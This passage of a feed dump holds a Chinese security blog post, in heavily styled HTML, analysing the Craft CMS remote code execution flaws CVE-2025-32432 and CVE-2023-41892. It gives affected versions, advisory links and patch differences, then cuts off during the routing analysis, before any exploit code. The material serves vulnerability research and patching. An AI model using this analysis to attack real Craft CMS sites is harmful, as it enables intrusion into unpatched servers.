<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0d2cde68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9mzevPMNGpj0d1KQelicKvOicMNrQyGqGMJFWoqNUI9K9dYWmIYJiawSVQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9eef8b18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9GUIl4PPv7Kvg7VKibXuOO6q07jcKfaJv387IDmnicMFZ2T2p88nPxhoQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ea847bc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9NLyd9GRFQiaytxMY9wCat06qgeEhabxvgMG6bAIVKqqN0ygeaCFFkrg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fbc631bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF90ibBuzEib84a7BLrVtYJA3YT3RAmRuMdBIWqp1Kj4kuel5qK49bznz5g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=28866df6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9cUzSLa9dibVOeuqJHtkLn7MBhglSYnicjhPbBcTTG25YJKz0HyRxrF3Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7e113306&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9j3BzEh3wicHRvyYickicbbiaRdjabeuib8RI4e3wVbbkF0gWgu4aMO6apqQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7001222b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9bicqjlrqOrMS7iactz8CodwDMkmPnsMl4Kwr80t0vgNZwGHibdzFUdc3g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4d078b52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9qNKLKwKJy60LibXtWJAj5QdzFjUkD2pYD3m76Gfxv0SsCjNzVaThArw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4004e58b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9HDJLjYGddJlDBw6VpEBT28RqDmsQBsY3lXUU4haH9FBNL8BNmqJwzw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=35cfdca7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9SldGwpy7vkSycRwrNFgsVfumNeXlvIA34whhKcOXFZIcHWHlCozG4Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4c044519&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9zOX1kdDVI3Ae4qRyZbiaWl1XE7BsmtAIxK5Sl5VZxkH3CCbWJ84VcBw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9c62634d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9qdCpAzSicOicvjibZGmesn0JuORtDHK0J35RI1oicPonr9SyVAKKXt71Lw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247492045">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=abc4daf3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492045%26idx%3D1%26sn%3D4aa5d92ab474e19ac263cf91acdef793">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 02 Jun 2025 08:01:00 +0800</pubDate>
    </item>
    <item>
      <title>CVSS 10 满分漏洞：CVE-2025-32432 Craft CMS RCE 及未公开利用链深度解构</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492026&amp;idx=1&amp;sn=a45585cfb3c85bb1d0d2101a1ff10b41</link>
      <description>近期 Craft CMS 曝出了 CVSS 10 分的高危漏洞 CVE-2025-32432 ，可以看成是 CVE-2023-41892 的延续，都尝试利用 Yii 框架 createObject 函数触发可控类实例化来实现 RCE 。</description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-05-11 08:01</span> <span style="display: inline-block;">北京</span>
</p>

<p>近期 Craft CMS 曝出了 CVSS 10 分的高危漏洞 CVE-2025-32432 ，可以看成是 CVE-2023-41892 的延续，都尝试利用 Yii 框架 createObject 函数触发可控类实例化来实现 RCE 。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8e394103&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAxV9dIZgbXFccR6eeFHcWNia9V3v4psPhfeVgdnwP6FbQKHedNZWwlU7JMicIbe3Vq0NdjSWbUjvuyw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 0px auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞概述</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近期 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Craft CMS</span></p><span leaf=""> 曝出了 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVSS 10</span></p><span leaf=""> 分的高危漏洞 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-32432</span></p><span leaf=""> ，该漏洞可以看成是 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2023-41892</span></p><span leaf=""> 的延续，两个漏洞都尝试利用 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Yii</span></p><span leaf=""> 框架 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">createObject</span></p><span leaf=""> 函数触发可控类实例化来实现 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></p><span leaf=""> 。</span></div><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2023-41892</span></p><span leaf=""> 漏洞通报： <a href="https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g" target="_blank">https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g</a> ，影响版本：</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&gt;= 4.0.0-RC1, &lt;= 4.4.14</span></p><span leaf=""> ；</span></div></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><div><span leaf="">• </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-32432</span></p><span leaf=""> 漏洞通报： <a href="https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3" target="_blank">https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3</a> ，影响版本： </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">&gt;= 3.0.0-RC1, &lt;= 3.9.14; &gt;= 4.0.0-RC1, &lt;= 4.14.14; &gt;= 5.0.0-RC1, &lt;= 5.6.16</span></p><span leaf=""> 。</span></div></li></ul><span style="color: rgb(10, 10, 10);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1.5px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">在理解漏洞触发原理的基础上，找到了一条新的未公开利用链，但是由于底层</span><span leaf=""> </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Yii</span></p><span leaf=""> 框架的更新导致无法利用，这里一并分享给大家吧。</span></span><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">CVE-2023-41892</span></h2><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">补丁对比</span></h3><span leaf="">存在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">2</span></p><span leaf="">处修改。第一处位于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConditionsController</span></p><span leaf="">类，在</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">beforeAction</span></p><span leaf="">函数中去掉了调用父类</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">beforeAction</span></p><span leaf="">的代码：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008285" class="rich_pages wxw-img" data-ratio="0.548768472906404" data-type="png" data-w="1015" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=25c73e2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRgkCmTazpGeCTelsHoaJk07aMFJ0R8b12K1UmRMUjeg5Dl4yyicVwNNg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><span leaf="">第二处修改还是位于</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConditionsController</span></p><span leaf="">，调用</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Component::cleanseConfig</span></p><span leaf="">对参数</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$config</span></p><span leaf="">进行过滤：</span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008283" class="rich_pages wxw-img" data-ratio="0.6101860920666013" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=1e43643c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRtkX9IBPz9YyAn5NIMtjiac4bnw7ntkHKHNELVicibmVX5mlnTmhmDUaAg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h3 data-heading="true" style="box-sizing: border-box;border-width: 1px 1px 1px 4px;border-style: solid;border-color: color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) color-mix(in srgb, rgb(15, 76, 129) 10%, transparent) rgb(15, 76, 129);font-size: 18px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 2.4em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);border-radius: 6px;background: color-mix(in srgb, rgb(15, 76, 129) 8%, transparent);"><span leaf="">请求路由分析</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ConditionsController</span></p><span leaf="">类继承了</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, 